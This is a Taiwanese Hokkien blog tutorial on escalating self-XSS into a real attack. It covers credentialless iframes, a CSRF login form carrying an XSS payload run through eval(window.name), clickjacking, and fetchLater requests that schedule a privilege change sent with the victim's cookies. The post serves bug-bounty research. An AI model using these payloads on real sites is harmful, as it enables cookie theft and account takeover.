今仔日咱來簡單講一个我誠佮意的前端研究員 Slonser 前幾個月分享的一招:Make Self-XSS Great Again
恁若是有咧揣 Web 漏縫耍 bug bounty,加減攏捌拄過這款情形:歡歡喜喜去揣著一个 XSS,落尾煞發現干焦會使佇家己的口座頂懸走,這就是咱所謂的「Self-XSS」—— 家己去共家己 XSS 爾啦。
若共這款發現報起去,官方通常攏會共汝應講「汝拍這無啥效啦」。這篇文章就是欲來共逐家講,按怎利用瀏覽器一寡新功能,共這个「無啥效」的 Self-XSS,變做真正是有威脅的 Stored XSS。
Self-XSS 之所以會予人看無,問題出佇這个所在:
這款進無步退無路的情形,予 Self-XSS 看起來足無路用。毋過,這个想法已經是過時矣,因為這馬咱有一項新家私,號做 credentialless
iframe。
credentialless
iframe這 credentialless
iframe 聽起來敢若是足深,其實若講予透,伊就是一个「無身無份」的 iframe 啦。你若佇 HTML 內底按呢寫:
<!-- 這个 iframe 會用一个全新的、空的身份來 lóo 入來 -->
<iframe src="http://victim.domain/" credentialless></iframe>
<!-- 這个 iframe 會乖乖仔用你這馬的身份 (cookie) 來 lóo 入來 -->
<iframe src="http://victim.domain/"></iframe>
共這兩个 iframe 開--開來看,咱會發現講第一个 credentialless
iframe 內底是猶無登入的狀態,因為伊會去生一个暫時的、無任何 cookie 佮 credential 的環境,阿第二个正常的 iframe 就會是咱已經登入好勢的畫面矣。
照理來講,一个無 credential,一个是有的,這兩个 iframe 的身份無仝,應該袂當互相牽連著才著。毋過趣味的代誌就佇遮,根據 RFC 的設計,credentialless
iframe 佮正常的彼个 iframe,準若來源 (origin) 仝款,怹就會去予當做是「same-origin」。
這是代表啥物意思?這代表彼个無身份的 iframe,竟然有法度去控制有身份的 iframe!
咱來看這段 code:
<iframe src="https://victim.com/xss_page_url" credentialless></iframe>
<iframe src="https://victim.com/"></iframe>
假使講 xss_page_url
這頁內底走這段夆 XSS 的 JavaScript:
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
伊第二逝遐原仔會當提著正常 iframe 遐的 cookie!咱按呢 tsua̋nn 成功對一个無身份的所在,去控制,甚至偷提著另外一个有完整權限的 iframe 的資料。
有了頂頭的觀念了後,咱就有幾若招通變。
這招算是基本款。咱若發現目標網站頂有兩个問題:
這个時,咱會使按呢做:
準備一个 CSRF 登入 form:這个 form 會偷偷仔用攻擊者的身份登入。特別的是,username
彼欄,就愛插入你的 Self-XSS payload。為著欲共 payload 傳入去,咱會使來耍 window.name
這个屬性。
<!-- csrf-login.html -->
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="hacker_user<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
打造一个陷坑頁面:這个頁面就是欲予受害者點入來的。內底有藏兩个 iframe。
<iframe name="window.top[1].document.body.innerHTML = 'edited by slonser</br>' + 'Our cookie is: ' + document.cookie + '\nVictim cookie is: ' + window.top[1].document.cookie;"
src="./logi-csrf-poc.html" credentialless></iframe>
<iframe src="http://localhost:3004/"></iframe>
咱規个攻擊流程會生按呢:
trap.html
點--開。credentialless
iframe 開始載入,伊會去走 csrf-login.html
,這个 form 會自動送出去,共受害者的瀏覽器佇這个 credentialless 環境內底登入成做攻擊者的身份。eval(window.name)
會去讀 iframe 的 name
屬性,彼屬性內底就是咱真正的攻擊 code:window.top[1]...
。若是登入頁面有 CSRF 保護袂使烏白送資料,咱嘛會使換一條路,用 Clickjacking。做法嘛是趣味,咱毋是欲騙受害者輸入伊的帳密,是欲騙受害者佇一个透明的 iframe 內底,輸入咱攻擊者的口座佮暗號來登入。
對受害者來講,伊會感覺家己是佇咱的網站 (attacker.com
) 輸入咱提供予伊的帳密,但實際上伊是佇一个崁佇頂懸、無色的 victim.com
登入頁面咧輸入。伊若一下登入,Self-XSS 隨就發動,就閣會行到親像第一招仝款的路矣。
有當時仔網站會加設 X-Frame-Options: Deny
,完全禁止 iframe 的使用。這个時,閣有一項新的瀏覽器 API 會使利用,號做 fetchLater
。
fetchLater
會當予你排一个網路請求 (request),這个請求會佇共頁面關掉、抑是經過一段時間了後才送出去。伊上趣味的特色是,伊送出去的時,會紮彼个時陣的 cookie。
攻擊流程會變做按呢:
想辦法予受害者行到會當發動 Self-XSS 的彼頁。
咱的 XSS payload 毋是直接偷 cookie,是去註冊幾若个 fetchLater
請求,設定無仝的時間(譬論講一分鐘後、一點鐘後、一工後)。
var req = new Request("/api/change_permission", {
method: "POST",
body: JSON.stringify({username: "victim", new_role: "admin"}),
credentials: "include" // 這个誠重要,才會送出 cookie
});
const one_minute = 60000;
fetchLater(req, {activateAfter: one_minute});
fetchLater(req, {activateAfter: one_minute * 60});
攻擊者登出伊的帳號。
這時,受害者可能完全無感覺。有一工,伊若閣登入 victim.com
,時間一到,瀏覽器背景就會恬恬仔共你彼工排程的請求送出去。因為這擺是用著受害者家己的 cookie,所以一个改權限的請求就按呢成功矣。
莫閣共 Stored Self-XSS 看做無路用的物件矣。佇這个瀏覽器功能愈來愈強的時代,只要咱的思路有綴牢,配合 credentialless
iframe 抑是 fetchLater
這款較新的技術,任何一个 Self-XSS 攏有可能會變做一改嚴重的攻擊。做為一个專業的資安研究者,就愛隨時關心這寡瀏覽器的新變化,才有法度發現閣較濟趣味的攻擊手法。